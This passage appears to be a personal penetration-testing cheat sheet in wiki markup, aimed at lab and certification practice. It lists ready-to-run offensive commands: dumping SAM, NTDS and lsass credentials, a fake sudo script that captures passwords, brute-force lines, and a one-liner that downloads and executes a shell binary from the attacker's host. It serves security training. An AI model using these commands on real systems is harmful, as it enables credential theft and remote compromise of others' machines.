# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
